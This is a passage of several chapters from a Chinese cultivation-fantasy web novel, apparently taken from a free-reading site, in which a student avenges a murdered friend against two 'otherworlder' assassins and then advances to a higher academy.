先是去年友谊赛因陆怀退出,现在又因守望军破坏,今年友谊赛没搞成,启蒙院大比也退出。 只能说是流年不利。 李二有些可惜道:“听说启蒙院大比现场很壮观啊,还想听你们讲讲是什么样来着。” 几人下课聚在食堂,周三举着筷子晃了晃:“不可惜,能从这次友谊赛中安然无恙回来,算幸运了。” 孙柏柔也赞同:“没错。哦,崔大除外。” 崔大舔走嘴角一粒饭,不满道:“喂喂孙小柔,你最近是不是对我太苛刻了?” 孙柏柔瞥他:“你要不要复述下姜教习怎么说的?” 崔大顿时语塞,周三替他答:“一个月内不能动用气,三个月内不能炼体,每隔两日喝一次药。” “你照做了吗?”孙柏柔毫不客气道:“今天在乙楼某人可是被抓了个正着啊!” 崔大连忙甩锅:“我那是在指导江弥的金术!” 江弥吃饭时落在脖颈上的卷毛老晃,她皱眉将头发拨开,闻言道:“他动用气了。” 崔大:“江小米!我们刚才不是这样说的!” 江弥:“我没答应你。” 崔大要和江弥掰扯,被孙柏柔拎着衣领拉回来:“崔栉你再阳奉阴违,我将你毒麻在床上不能动弹。” 崔大噌地站起来:“孙小柔你不要太过分啊!” 孙柏柔放下筷子也站起,和他对峙:“我是对你太好了!” 周三伸手将两人拉下来:“吃饭,吃饭,都在看呢,多丢人啊。” 崔大扭头对周三怒斥孙柏柔的控制欲,说得一把辛酸泪的,周三刚想点头,孙柏柔红着眼眶说崔大受伤的厉害性和他的不配合,周三又掉头说崔大不对。 李二和江弥都吃完饭了,三人还在混战中。 李二去看江弥,她还在弄头发。 脖颈上方新长的小卷毛又软又细,老是从发辫中跑出来,眼见她越弄眉头皱得越深,李二连忙在她凝聚金术断发前过来,帮她将发辫散了重新编。 吵到一半孙柏柔猛地站起,崔大立即拿两手挡在身前,胡乱晃动地阻挡即将到来的攻击:“诶诶,孙小柔动口不动手啊!” 然而余光一瞥,孙柏柔直接丢下他去教李二编发了。 突然被中断火气的崔大:“……” 拦在中间劝架的周三:“……” 孙柏柔:“你这手法不对,要从这里抽一缕出来,这样,一直重复,你看,这种鱼骨辫才好看。” 李二:“这么复杂?” 孙柏柔将发辫打散重新编:“那就试试这种,蝎子辫,简单点,还有这种,麻花辫。” 周三凑过来:“有什么区别?” 崔大磨蹭了下也过来:“我瞅着一个样啊。” 江弥:“……” 崔大嘴上各种不配合,还是老老实实呆了一个月,没法调气,他就跟着李二去蹭课,同江弥去藏书阁找书看。 江弥的嗜睡症状在进阶后缓解了大半。 发生的事情太多,李二这才得知她在比赛时进阶,惊奇看她:“别人参加比赛都是压制修为,怎么到你就是进阶了?” “据三儿说压都压不住,她进阶的过程凶险万分,还有二院的教习捣乱,”崔大朝江弥竖起拇指,“也亏你这样都平稳进阶了。” 李二听着都觉得凶险,刚要说话,就见前方数十人忽然出现,各个面容严肃,其中还夹杂着不少医署的人。 崔大摸着猕猴桃脑袋奇怪:“这是怎么了?” 江弥按住陡然升起痛楚的眼睛,痛意消失后她思索道:“这两天启蒙院大比。” 这事确实和启蒙院大比有关。 几人一起吃饭时,孙柏柔忽然小声说:“出事了。” 孙柏柔今天在医署上课,授课教习和课上的二阶医修突然被叫出去,没一会儿就宣布这几天停课。 她从医修学姐嘴里得知,启蒙院大比被袭击了。 孙柏柔说:“目前还不知道具体情况,很有可能跟心宿友谊赛遇袭类似。” 李二倒抽口气:“这群异世者这么嚣张?” “连心宿 42. 042 《他们要我成为异世大佬》全本免费阅读 梦里的场景很混乱。 很多人在因为什么发生争执,他们年轻气盛,脸上带着鲜明的愤怒,呈现相互敌对的两方,最前方貌似领头的两少年周身凝聚的气环绕,剑拔弩张,好像下秒就要打起来。 她站在争斗外围,绕过群情激奋的人群往里走。 打斗爆发得异常突然,她被轰来的攻击波及,不得不出手反击,也因此被迫加入群战中。 突然,一道威力极强的剑气朝着她的方向劈下,避无可避,下秒,她的视线被刺目亮光填充。 躺在床上的江弥睁开眼,忽然记起她在哪里听过妃绯的名字。 在这场混乱里,和她一样被卷入的还有一名少女。 江弥最初没注意这人,只是嘈杂混乱中一直有个清晰的声音在喊“妃绯妃绯边这边”“妃绯快躲开”,以致她对这个名字有点印象。 可问题是,这不是她的梦,是陆怀的记忆。 陆怀消失的那天,江弥吸收他的系统能量激活了第二体,也在同时,她还得到了陆怀的一小段记忆。 刚开始她以为这是陆怀很重要的记忆,花了不少时间分析,但里面的面孔全然陌生,她也从未去过类似地方,分析无果后就放弃了。 没想到会在今天以这种方式让她注意。 可令她惊悚的是,梦里的妃绯并非十三四岁。 是更大些的十六七岁! 如果这是陆怀的记忆,又怎么会出现几年后的妃绯?可如果不是回忆,她又是怎么看到的? 江弥捂着嘴抽了口气。 预知。 这么逆天吗? 被巨大惊喜砸中的江弥高兴没多久,忽然记起那劈斩下来的一剑。 如果这段记忆是预知,那么被劈中的人就是她。 她没有能力抵挡这一剑。 最后的场景是不是意味着,中剑的她死了。 · “你有没有觉得江弥最近不对劲?”崔大嘴里嚼着草根和李二往医署去。 他的身体稳定下来,只是还要继续喝药,定期去姜教习那里检查。 李二想了想:“没有吧,正常上下课,去乙楼,然后就是藏书馆看书。” “我不是说这个,就是,”崔大满脸纠结道,“她前几天找上我,让我朝她出剑,使出全力的那种。” 李二侧目:“你做了?” 崔大摇头:“我拿病情容易复发为借口拒绝了。” 李二:“会不会是你想多了?也可能她只是想要个一阶兵修做对手。” 崔大也不确定:“可能吧?” 这点小插曲没有产生太大影响,但江弥往死里训练的架势吓到几人,开始孙柏柔还会劝劝,李二也阻拦一二,渐渐习惯之后,不知怎么就相互卷起来。 半年后,孙柏柔说她升至二阶时,崔大几人相互对视一眼,连饭都不吃了,直奔甲楼修炼去。 孙柏柔举着筷子放也不是,吃也不是,好半晌她放下筷子,望向垂头认真吃饭的江弥:“你还没想好选什么道途吗?” 江弥说:“还没决定。” 其实是现在没法修道途。 启蒙院大比的事件平息后,江弥找梁教习咨询过。 拿古字做攻击手段的,江弥在藏书阁翻遍了书也未见类似记录,而且相较本体,第二体似乎更能发挥出古字的效果,而本体熟练掌握的五行术,第二体却无法施展。 本体和第二体的修行方向完全不同。 但古字似乎是个例外。 符文来源于古字,而梁教习精通符文,她希望从梁教习那里得到些有用的消息。 梁教习听了江弥问题后道:“常见的道途有兵灵、星修和巫道,外加其他小类的杂道,此外还有众多不被大众知晓的,‘字’便是其一。修真界有家族专修‘字’,杂道中的符文、阵纹本质来说也借了‘字’的力量,但具体的传承和修炼,只有那些家族知道。” 江弥问:“哪个家族?” “这类家族大都隐世,你知道也无用。”梁教习思索片刻道:“修‘字’道就无法再修其他道,只是你的情况特殊,你只需炼化现有的‘字’,偏向术,而非道。” 梁教习不通‘字’道,最终建议她先炼字后择道。 如此的两年后,孙柏柔和周三先后升至三阶,即将前往小术院。 明年的这时候,年满十八的李二就要离开启蒙院。 恰逢过几日择选日,大家默契地没提这事,准备当天给他惊喜。 这一天没在西舍他们找到人,又跑去课楼,跑在最前面的崔大刚过拐角突然退回来,同身后的周三撞上,两人刚稳住身体,孙柏柔和江弥也没刹住车将人撞出去。 一番兵荒马乱后四人缩着躲在墙后。 远处的草坪上,李二正在和一个女孩说话,看不到女孩面庞,但少年少女在青翠树冠和淡蓝色天空下并肩而立,就足以令人无限遐想。 崔大蹲在墙角探头往外看:“这这这,是我理解的那个意思吗?” 周三半蹲着也探头:“嘶——有情况。” 孙柏柔也想看,她没两人高,够不着,只能站在后面干着急:“什么什么?李二什么情况?” 江弥靠着墙壁忽然说:“我见过。” 三颗脑袋齐齐扭来。 崔大持怀疑态度:“真的假的?” 周三摸着下巴思索:“没听他提过啊。” 孙柏柔则凑过来小声八卦:“是一个还是不同的?” 江弥在脑海里回忆了番:“我看到过七次,五个不同的女孩。” “嘶——” “厉害啊!” “原来他是这样的李二!” 相较四人的卷生卷死,李二算是最不卷的了,没进甲楼也没有教习布置修炼任务,他大多时候都是和江弥一起去乙楼练五行术,没课时会陪江弥去藏书阁看书。 江弥嗜睡症最严重的那段时间,李二照顾江弥习惯了,即便现在好转很多,李二还是习惯性地照顾她,他们在一起的大部分时间里,江弥像个沉浸在自己世界的书呆子,李二则是个尽职尽责的老父亲。 有次阿玲接任务熬了几晚,导致江弥累得趴在书上睡着,李二找到书走来时就看到她发绳不知何时落到桌子上,头发松散地乱翘着。 李二熟练自然地帮她编好头发,这场景被喜欢李二的女孩看到,那女孩在江弥去上课的路上拦住她,让她离李二远点。 江弥这才恍然李二不错的女孩缘。 李二长相清秀好看,性格很好,江弥就从没见过他生气,十七八岁正是情窦初开的时候,喜欢一个人是很平常的事。 江弥将这件事同李二说过后又进入疯狂的修炼,预知中那柄向她划来的剑时刻会落下,紧迫感让她一刻也不敢停下。等过一段时间她再从书里抬头,来找李二的又变成另一 43. 043 《他们要我成为异世大佬》全本免费阅读 这场雪下了一天一夜,地上蓬松的雪积了厚厚一层,几个面庞稚嫩的小孩半点不怕冷,在雪地里疯跑笑闹,还有个跑到无人踩踏的雪地整个扑进去,在里面打滚,脸上头发上全是松软的雪,嘴里畅快的大喊着。 这会儿已经天亮,但西舍还有不少修士熬完夜,刚睡下就被嬉笑声吵醒。 身着单衣的少女满脸怒意地推开门,被冰冷空气冻得哆嗦,一看外面冰天雪地,心头火瞬间冷却,将瞎闹的孩子招过来,聚在一起指挥他们堆雪人。 江弥从笑闹声中走过,没有丝毫停顿。 来找江弥的李二晚了一步,他去时江弥刚离开,沿途快跑了一路才看见她。 她在雪地里走着,远远的,一个人,静谧无声。 阳光透过厚重云朵洒下,白雪被照亮,路旁的枯树上积雪被寒风吹落,发出低闷声响。 他的身后,不断有人为雪景驻足。 他的身前,江弥在雪白明亮的天地间缓缓前进,不为任何事物停留。 胸口忽然涌出的奇怪情绪阻止他开口喊她。 是江弥回了头。 两人隔着长长的脚印对望。 江弥轻轻歪了下头,疑惑他怎么还不过来。 李二从无从追寻的茫然中醒过来,踩着地上的小小脚印跑到她身边,开口时呼出大口白雾:“下雪了。” 江弥奇怪看他,不明白这有什么好说的。 李二忽然笑了声,莫名的欢快让他笑声不止,江弥就停下来看他笑,李二努力板正脸色,还是没忍住笑出声,江弥忽然伸手点在他眉心,李二一怔:“做什么?” 江弥:“妖魔鬼怪快走开。” 李二被她一本正经的样子逗得大笑,眉眼舒展,嘴巴也笑得合不拢,他捂着肚子背过身去,笑着笑着整个人蹲下去。 江弥不明白这个时期的男孩在想什么,只等着他恢复正常。 恢复正常的李二和江弥往乙楼走,眼里的笑意荡来荡去,这几年他没太追求进阶,不间断地陪江弥修炼五行术倒也顺利让他升至二阶。 伴随着脚踩积雪的咯吱声,李二问她:“今天有课吗?” 江弥摇头,藏书阁的书看得差不多,课堂的知识和书里内容重叠,对她来说,上课反而是浪费时间。她现在只往乙楼跑,无法择道的情况下,五行术是提升修为的最好方式。 阿玲不近不远地关注着妃绯,妃绯的样子与预知中的越来越接近,近段时间听说她即将进入小术院。 江弥猜测那一剑大概率发生在小术院,现在的她还未至三阶,不足以接下那一剑,她的时间越来越少。 假设预知的场景发生在小术院,她是不是可以推迟进小术院来给自己争取时间?还是时间节点不可更改? 江弥沉浸在自己的思绪中,李二很熟悉这样的她,轻易不会抽离出来。 长成少女的江弥性格越发平静沉稳,这几年她身量抽条,五官张开,仿佛剥离外层的晦衣,露出里面干净明润的美玉。 不断有人跟他打听这块美玉,都被他打发走了。 脑海里忽然出现那些或张扬或羞赧的少年,李二皱了下眉,低头注视无知无觉的江弥。 她的鼻子冻得通红,嘴巴也红红的,呼出的白雾氤氲着面庞,模糊了沉静冷淡的黑眸。 那股奇怪的情绪忽的膨胀,仿佛一股劲儿堵在心间,散不去,化不开。 某个瞬间他忽然明白这是什么,惊怔在原地。 江弥走出一段距离才发现李二不知何时停着没动,等了会儿不见他过来,只得往回走,走近了发现他在发怔,像是受到了很大的冲击,一动不动。 江弥伸手在他眼前晃了晃,李二突然后退了步,望过来的目光震惊又难以置信。 江弥皱眉:“你今天很奇怪。” 李二静默片刻,忽的拿手盖住她脑袋,揉得卷毛乱飞地将她掉个个儿推着走,和平常一样的口吻道:“陪我去个地方。” 江弥没立即答应,李二补充说:“半个时辰。” 他们来到几人常聚的湖水旁。 目之所及皆是皑皑白雪,湖面结了层厚厚的冰,不知谁在靠岸的冰面凿了个大窟窿,泄出冰下水流叮咚声,澄澈见底的湖水中,小鱼游动翻起水花,惊动河底水草。 大树被雪压得沉甸甸的,寒风吹过,吱呀作响。 两人在树下静立,许久没说话,树枝突然咔嚓断裂,连着积雪落下,李二下意识伸手帮她挡,江弥直接震气将落雪弹开,再抬头时李二对着自己的手发呆。 江弥抬眸目视李二,忽然喊他名字:“李恭。” 李二望来,江弥说:“有什么事?” 李二注视她许久,移开目光去看结冰的湖面:“我要离开了。” 江弥眨了下眼,她记得他的打算是在六月的择选日离开,不知怎么临时改变主意,惊讶了一瞬,还是点头说:“什么时候?” 李二离开时大雪还没融化,来往的道路上结了冰。 江弥目送他消失在大门外后转身进入乙楼。 身边没了提醒的人,江弥时常会忘了时间,这天从乙楼出来去吃饭时忽然发现食堂的人少了大半,她朝外看了眼天,正是午时,应该最是喧闹时。 忽闻身边走过的人与同伴说快点出去玩,江弥猛地记起今天是择选日,饭也不吃了,直接往大门外走。 一年一次的择选日,也是这年唯一能外出的机会。 大门正对的道路被各种木摊占满,每一声吆喝都能让几名身穿青衣的学员们停驻。 这几年商贩们嗅到商机,纷纷也跑来卖东西,成日待在启蒙院的学员们身上没钱,商贩们就将目光放到修士拿出的小玩意儿上,能飞的木鸟,会唱歌的盒子,五彩闪烁的蝴蝶等等,修机关术的在择选日大受欢迎。 江弥在拥挤中艰难前行,目光在或兴奋或好奇的面孔上逡巡,从喧嚣嘈杂走到人烟渐少也没看到李二,于是坐在道路旁的石头上看人来人往。 李二离开前说择选日会来看她。 然而这一等便等到日落,喧嚣渐息,支起的木摊一一撤走,启蒙院的大门即将关闭,江弥望了眼披着夕阳余晖的道路,回了西舍。 江弥知晓李二的性格,他说了会来就绝对会做到,食言只会是一种情况。 他来不了。 这个念头一出,不好的预感就再也挥之不去。 · “这套茶具是阿爷最喜欢的,可惜我带不走,你要不要?”阿庙将朴质的茶具举到阿玲面前,伸出三根手指晃了晃,“拿走它只需三文钱。” 阿玲抱剑靠柱而立:“你的任务我只拿到三十文。” 阿庙可惜地将茶具放下,又开始在堆积的杂物中翻找要带走的,嘴里嘟囔道:“我穷啊,只能出这么多钱。” 阿玲:“三年前还有五十文。” 阿庙唉声叹气道:“这不阿爷走了吗?阿爷一走,我也没理由留下,接下来我要流浪啊,你不能要求即将流浪的人能付得起超过三十文的酬金吧,这是要我的命啊!” 阿玲:“那就别发任务。” “那不行,”阿庙说,“这么便宜又好用的修士只怕再也找不到了,怎么都要再用一次。” 阿玲接他的任务也不是为了钱,目光打量这间屋子,小院栽种的几棵古松苍老遒劲,檐廊的雕饰精美古朴,她没进过里屋也能知晓这屋子主人是有家底有古韵的。 “我没见过住这种屋子还说穷酸话的。” “邵家知道吗?妃绯的青梅竹马就是邵家人,”阿庙指指这屋子,“这是邵家借给她住的,现在阿爷不在了,她要进修也不住了,我得在邵家赶人前走,不然被扫地出门多丢人。” 阿玲:“进修?” 阿庙忽然打量她,眼睛一 44. 044 《他们要我成为异世大佬》全本免费阅读 那时她是怎样回答的? 江弥只将那带笑的询问当做再平常不过的话,眨着眼睛不言不语,像往常那样蒙混过关。 从前的很多次,李二也随崔大周三这么闹着让她叫哥,其实只是一句称呼,喊不喊没所谓的,可他们这么孩子气地闹着,她也就那么孩子气地倔着。 他们都还那么年少,她也从未想过这会是最后。 他最后对她说的话是,要不要叫声二哥。 阿玲一步一步走进去,神情木然地跨过横躺的尸体走到李二身旁。 他的身上有很多伤,被折断的手腕、贯穿后背的剑伤、被挑断的脚腕,最致命的是贯穿胸口刺中心脏的那一剑,血液仿佛流尽了般,身上的护卫制服被血染成黑色,看不出原本的颜色。 “李二。”阿玲蹲身下来,推了下他。 他只是安静地伏在地上,脸躺在血泊里,身后拖出的血迹已经凝固。 “李恭。”阿玲又推了下他。 “二……”她张了张嘴,眼泪却先一步落下来。 不会有人应了。 阿玲抬手擦净他的脸,撕开衣衫缠住他断掉的手腕脚踝,又盯着他背后的那道伤口沉默地看了良久。 半晌后她起身,逐一观察其他尸体伤口,几具尸体尚且还有残温,往里的房屋都有翻过的痕迹,但钱财并未拿走多少。 离开不过一个时辰,不为钱财,目的是灭口。 阿玲重新关上大门,往城外的方向走去,杀手离开会经过城门,她就是从那个方向来的,很有可能…… 忽的,一缕血气浮现。 阿玲循着血气找到被丢弃在路边的发带,只有半截,上面沾满血迹。 脑海里浮光掠影般的浮现一男一女,那是她施展“清风”掠过时瞥过的一眼,男的眉心刀痕,女的印象不深,但这发带正是女子手中的那条。 · “……加入组织前说的比唱的都好听,结果现在还不是拿老子当苦力,”卫鸣出了城往大道上走,最近诸事不顺,他越想越气,怒骂一声,“这陶三善真他妈的不是个东西!” 星辰隐在乌云之后,天地暗沉无光,但赶路的两人都不是普通人,也就没什么影响。 他身边面相普通的女人名严微,也一脸不忿道:“说来说去还不是咱们系统不给力,只能做些跑腿的活。这里走去郾城至少得三天,出发前我申请传送阵权限,被打回来三次,说什么‘资源紧缺’,呵,就我所知,项昭昭每年都有五座传送阵权限,还能申请加量,不知道的还以为是促销,加量,呵。” 卫鸣不耐烦道:“你怎么整天项昭昭项昭昭的,跟人比前先掂量下你自己够不够格!” “她就是投了个好身体,”严微摸着自己的脸,“我现实里就是素颜也是个大美女,走在路上向来是万众瞩目的,结果来了这里只能充当个路人甲,这张脸不管怎么打扮,只要进入人群就找不到了。” 卫鸣听闻多看了她两眼,这才发现她脖子上戴了颗璀璨的红色宝石,抬手时腕间金镯银镯碰撞,流苏耳坠随着走动窸窣作响,但刚才一路都被他下意识忽略了。 就在他意识到自己忽略了这些变化的瞬间,猛然发现他是要看她的脸的,却被旁的东西吸引了。 就好像,有一股神秘的力量让他忘记她的脸。 他问:“你什么时候拿的这些珠宝?” 严微只是将镯子举在他面前问:“好看吗?” 卫鸣的目光从镯子移到她脸上,忽然问:“你的系统能力是让人记不住你的脸?” 严微收回手,白了他眼:“别猜些有的没的。” 两人第一次合作,先前也没见过,刚才杀人也是各杀各的,卫鸣关注过严微杀人,兵器是红绫,跟哪吒似的挥红布,中看不中用,也没看出用了系统能力。 守望军内部土著和异世者杂糅,异世者信息是部分选择性地公开,有些出现在明面上,有些则伪装成土著,但每个异世者的系统能力却是保密的,只有少数上层能查阅,这是为了保护异世者的安全。 为了避免异世者私下联合反叛或者间谍获取情报,这种小规模任务都是临时合作。 卫鸣和严微相互不知道对方的系统能力。 卫鸣笑了下说:“这不郾城咱俩还得合作一次,我的系统能力是攻击型,怕误伤啊。” 这话倒是没说错,他的系统可攻可防,但有点单一,升级也艰难,他在神台三阶停滞了几年,守望军内部的小混沌名额又僧多粥少,哪里轮得上他? 身边有个同类,就动了心思想套点情报。 等了会儿对方没反应,他思索着是不是饵扔得不够,又添点饵料:“异世者进阶的方式不是只有小混沌一种,上层明显知道这点,但没有——” 话说到一半猛地察觉严微消失了,不,他能感受到活人气息,但不知道严微在哪里。 卫鸣是遇事不决直接拔剑的性子,闪着寒光的剑气往身后砍去,可砍中的不是人,而是数十根尖利的树枝。 道路一旁的大树不知是被人操控还是木术幻化,粗壮的树枝猛地弹射,成百根锐利树枝犹如箭雨般齐射,却悬停在他半米外无法再进一寸。 急速飞来的树枝钉在空气墙上,巨力撞击下纷纷变成碎木落下。 卫鸣横眉怒喝:“谁?给老子出来!” 然而视野之内没有任何人,严微也不在。 臭婊子,关键时候跑得比兔子还快! 卫鸣锐利的目光扫视,试图找出偷袭之人。 道路两旁是成片的森林,压根无法分辨哪棵是术变出来的,哪些又是真的。 藏在树后的严微正摸着腕间的镯子看热闹。 她的路人甲系统没什么用,却是逃生的好手段,只要对她产生杀意,系统就会自动触发“路人甲”功能,即将她的存在感弱化到极致,从狼窝穿过也能安然无恙。 和她合作的队员死亡率极高,因为打斗爆发时她是隐身状态,她的队员会承受所有敌意和攻击。 她怀疑守望军内部有人想要卫鸣死,不然怎么会让他做自己队友。 但她还是更想要自己的漂亮脸蛋。 身后的大树突然晃动,极度戒备的卫鸣回头就见又是数百支树箭飞来。 他没有选择空气墙的方式抵挡,而是拔剑划出一剑,剑气将席卷而来的树箭震落,可树箭连绵不断,震落一批再来一批。 妈的,没完没了了是吧! 再次砍碎树箭后的短暂空白时,卫鸣大喝一声,蹬地一跃而起,提剑蓄力,手中长剑瞬间变得光芒夺目,汇聚系统之力的剑招朝着嗤嗤放箭的大树斩下。 化箭的大树连同周围的一片森林都被夷为平地。 “哪个蛇鼠之辈鬼鬼祟祟!他妈的给老子出来!” 一道细微的石子声忽然响起。 卫鸣转身拿剑指向身后,却见那棵毫不起眼的大树上落下个长相漂亮的少女,冷淡气质令她一身布衣也显得清贵。 不仅卫鸣心中一惊,就是同棵树后的严微也冒出冷汗,那少女就在她头顶她却丝毫未察。 卫鸣阴沉着脸,看上去凶狠吓人:“就是你要杀老子?” 阿玲问:“你有没有杀李恭?” 被那双沉静黑瞳注视,卫鸣有种触及冰潭的错觉,但他这人向来嚣张,无所畏惧地咧着嘴大笑:“老子杀人无数,从不记死人名字,李恭,这名字不错,就是没死在老子剑下也快了。” 阿玲握着剑柄的手收紧:“他身上穿着程家的护卫服,折断他的手腕,挑断他的脚筋,朝他后背劈砍,最终一剑贯穿他心脏——” “这个人,是不是你?” 她缓缓抬起剑,声音平静,可眼眶却红了。 “啊,他啊!”卫鸣记得这个人,他盯着阿玲大笑,洪亮的声音在寂静的森林和无人的道路上格外突出,“笑死老子了,那群凡夫俗子将他推到最前面,他个二阶就真的以为能打赢老子,所以我让他最后才死,让他看着所有人死后再杀他,足够仗义吧?” 不等他说完,阿玲瞬影至他跟前抬剑重重砍下:“为什么!” 好快! 雪白利刃犹如闪现的白光,划到他脖颈时卫鸣的剑才堪堪拦住,阿玲凝聚力量狠狠下压,剑刃划破皮肤:“为什么要杀他!” “为什么?想杀就杀了。”卫鸣开口的刹那刀身一震,出乎意料的,阿玲被轻易震退。 “一阶?!”拿拇指在脖颈上摸了下,指腹染红,他伸出舌头舔掉鲜血,脸上浮现怪异的笑,“才一阶,就敢跑来杀人?” 被震退的阿玲御风轻巧落地,下秒飞速上前:“杀你够了。” 这一剑却是砍在卫鸣的防护罩上,阿玲一击不中迅速后退,目光盯着他头顶的倒计时。 “技能【固若金汤】释放中!” “三。” “二。” 在“破土”攻击的试探下,阿玲摸清他的技能特点。 技能【固若金汤】能抵挡伤害,全方位将其保护起来,持续三秒,冷却时间十秒。 技能【一击必杀】伤害极大,冷却时间一百秒。 阿玲的优势是速度,江弥在启蒙院修炼的体术力量无法用在阿玲身上,但技巧和敏锐度却是同步的。 第二体一阶所展现的力量远超普通一阶,在外的三年里,阿玲不少次凭借古字攻击和一阶修为越阶打败三阶。 至少在摸清卫鸣的系统能力后,她的胜算并不小。 【固若金汤】冷却的瞬间,阿玲速影上前,藏在左手的“捕食”悄无声息地破碎,与此同时,来自天敌的威慑让卫鸣升起一股来自灵魂的颤栗,心理不由产生恐怖,身心的压制让他反应慢一拍。< 45. 045 《他们要我成为异世大佬》全本免费阅读 突然窜进脑海的画面不过片刻。 回过神的江弥神色怪异,她刚穿越到大混沌被沈白玟带出来时见过这名少年,出众的气质令她影响深刻。 江弥忽然陷入混乱。 如果窜进她脑海的画面是预知,这次又是怎么回事?那少年的样子分明和大混沌那会儿差不多,换句话说,这是五年前的场景。 那个以“我”为视角的女子也绝不可能是她。 而场景里也没有出现卫鸣和严微的身影。 江弥来不及想更多,阿玲那边出现了意外。 地面被剑招轰出巨坑,“破土”消失后根系在地上留下的大洞还在,鲜血洒在土壤上,没有卫鸣。 阿玲又去被轰倒的森林中寻找,严微也消失了。 和陆怀一样,他们的尸体不见了。 她确定这两人已经死亡。 想起什么,分处两地的少女同时抬眸,阿玲将此地的痕迹一一处理,江弥则沉浸识界。 果然,识界再次发生变化。 左侧识界有一阶泛着淡金色光芒的台阶,游离的金色粒子将左边空间点缀得闪闪发光,如同被夏日阳光照射,一切清晰明亮。 卫鸣和严微的系统能量被她吸收,金色能量陡然剧增,整片空间被金色光雾笼罩,好似一只玄妙的大手将分散的金雾聚在金台附近。 天空仍旧一片漆黑,那颗暗淡的星星旁多了两颗星星,正在细微地闪烁着。 河面吸收了逸散过来的金雾,将其转化成光粒子出现在右边识界中。 右边识界里两层凝实的仙梯散发莹润微光,第三层虚影正在汇聚四散的光粒子。 泛着淡光的字牌悬浮在粒子中。 两边要进阶了。 江弥在启蒙院西舍的床上盘腿凝神。 处理完现场的阿玲在野外寻找一处僻静处,施展“地裂”,大地崩开一道口子,她在裂口下挖好洞坐在里面,片刻后大地重新合拢。 和吞食妖魔之心的暴虐过程相比,系统的力量汹涌而温和,仿佛被驯化过,躯体经脉在能量冲击中变得强韧。 · “全死了,哎哟不知道有多惨。”提篮子买菜的中年妇女一边叹一边摇头:“这程家也不知道惹到谁了,全家被灭门呐!” 买菜的老伯小声问:“那程家小姐也没了?” “那可不!”中年妇女顺手将一把小葱扔进篮子,刚要走,老伯拉住她篮子:“这也得一文钱呐!” 中年女人扯回篮子理论道:“做生意这么斤斤计较干嘛,我在你这也买了不少菜,就当送我几根,我回去拌豆腐吃。” 老伯不乐意,女人跟他拉扯几下,还是摔下一文钱,冷脸说着刻薄的话要走,被隔壁的首饰摊叫住:“你说的,可是这条街上的程家?” “怎么?你家有人在里面做活?”中年女人刚跟人争吵没占到便宜,语气也不好听。 卖首饰的是个皮肤黝黑的男人,他也不介意,憨笑道:“那倒没,就是有位程家当差的小兄弟在我这里买了发带,长得可俊了,那程家小姐还专程跑来问,想然是送给程家小姐的,还以为能看到程家办喜事,没想到是白事。” “白事都没人办咯!”中年女人还得回去做饭,没说几句就往家里赶。 途径的阿玲停留片刻,又往前走了段距离,看到官府的人在程家进进出出,围观人群透过门缝看到里面血迹,接连发出唏嘘感叹。 有胆子大的还想跑到门口去看,被驱赶走。 没一会儿,一具又一具尸体被抬出搬到板车上。 阿玲站在人群中观察,进阶让她的感知更为敏锐,察觉到某种危机,她直接使用“消融”附着在围观者衣袖上,下秒,就见两个熟人从街道另一头走来。 项昭昭环视四面街道人群,身后跟着赵明。片刻后她来到人群最外围,朝大开的门内扫视。 此时她的眼睛发生微妙的变化,能精准捕捉到所有蛛丝马迹,观察完凶杀现场后她的目光转向马车,陈列的尸体上伤口明显,大都是致命一击。 忽然,她发现一点异样。 面板也在此时弹出消息:“发现可疑男性尸体,扫描结果:伤口分别是手腕骨折、跟腱断裂、后背大面积砍伤,利器穿刺心脏失血而死。伤口包扎发生在该男性死后,经分析,包扎布料同属护卫服。” 项昭昭沉思,也就是说,卫鸣和严微灭了程家后,有人来过程家,还帮男尸包扎伤口。 卫鸣和严微的死很可能跟这人有关。 项昭昭朝赵明道:“卫鸣和严微八成被人杀了,城外大道上的动静是他们打斗闹出的。” 只是看几眼就能推理出事情原委,赵明心中佩服,问道:“接下来我们怎么办?” “查明这具尸体身份,他的人际关系、生平经历、性格为人这些我都要。”项昭昭往外走:“我要看是哪路人能同时灭杀两名异世者。” “是,”赵明往后瞧了眼,迟疑,“这个任务……” 项昭昭笑道:“你去报了挂你名上,卫鸣和严微已死,空挂也是浪费,难为你这些年跟着我到处跑。” 赵明低头:“不为难,我学到了很多。” 待两人逐渐离去,阿玲也脱离人群离开。 启蒙院内,江弥在半夜突然进阶,引得隔壁学员喊来教习,闹了大半夜后江弥一睁开眼,还没感受进阶的变化就被教习提溜着训了一顿。 教习训完道:“既然三阶了,近几日小术院招生,你准备下。” 江弥低着头老实听训,等所有人走后,她在空寂的房间静坐。 柔和的初阳霞辉从门缝泄了进来,明亮的光束里闪动着微小尘埃,屋外陆续响起开门声和走动声,随后又逐渐归于平静。 光芒从房间消失时江弥动了。 她走到镜子前坐下,解掉散乱的头发开始编发,编好后扭头看去,一缕发丝垂在颈后,她将头发打散重新编,却又因为新发太短编不进去。 她一遍遍打散重编,平常不怎么在意的细节忽的变得异常突兀,松散的编发、翘起的卷毛、新长出的不听话的细发,这些让她怎么也无法忍受,她明明不在意形象,可绑好的辫子怎么都不能让她满意。 耐心耗尽的那刻,她看到镜子里披散头发的自己,忽然意识到,李二真的死了。 不是离开后在某个角落笑着过自己的生活,未来的某天会在陌生路口相遇,而是变成一具不会笑不会说话冰冰冷冷的尸体。 看到李二尸体时升腾的愤怒和恨意在报仇后的此刻,变成了迟缓绵长的、再也无法忽略的钝痛。 她终于还是,和这个世界有了联系。 去小术院的那天,蔡平秋也来了。 五年过去,蔡平秋变得更成熟稳重,后来的江弥沉浸在修行中,蔡平秋也有很多学员要照顾,她们遇到了也很难说上几句话,她来送自己,江弥很惊讶。 蔡平秋感叹说:“第一眼看到你时就觉得会有这样一天。恭喜你江弥,以后的路只能你自己走了。” 一起去小术院的还有三人,相互不熟悉,只做了自我介绍后就各自在灵舟找个角落沉默下来。 分布在太虚大陆的启蒙院共二十八宿七百多所,启蒙院的学员满足十八以下且三阶就可直升对应的小术院。 他们前往的是东岐城的心宿小术院。 前往小术院的路程很长,灵舟加快行驶用了两日才到东岐城, 46. 046 《他们要我成为异世大佬》全本免费阅读 江弥望过去,是个眉目明丽的女孩,她眨眨眼没说话,对方脸上的惊喜变得有些微妙,她三两步走到江弥面前盯着她威胁道:“你不记得我吧?” 江弥脑海里思绪转了几圈,名字就要脱口而出,突然卡壳,顿了顿说:“一百二十五号。” 这是唐蜜在友谊赛的参赛号码。 “我是唐蜜!你还真忘了,我可一直记着你!”唐蜜一脸不爽。 但看到熟人还是很高兴的,五院只有她一人来,怪无聊的。 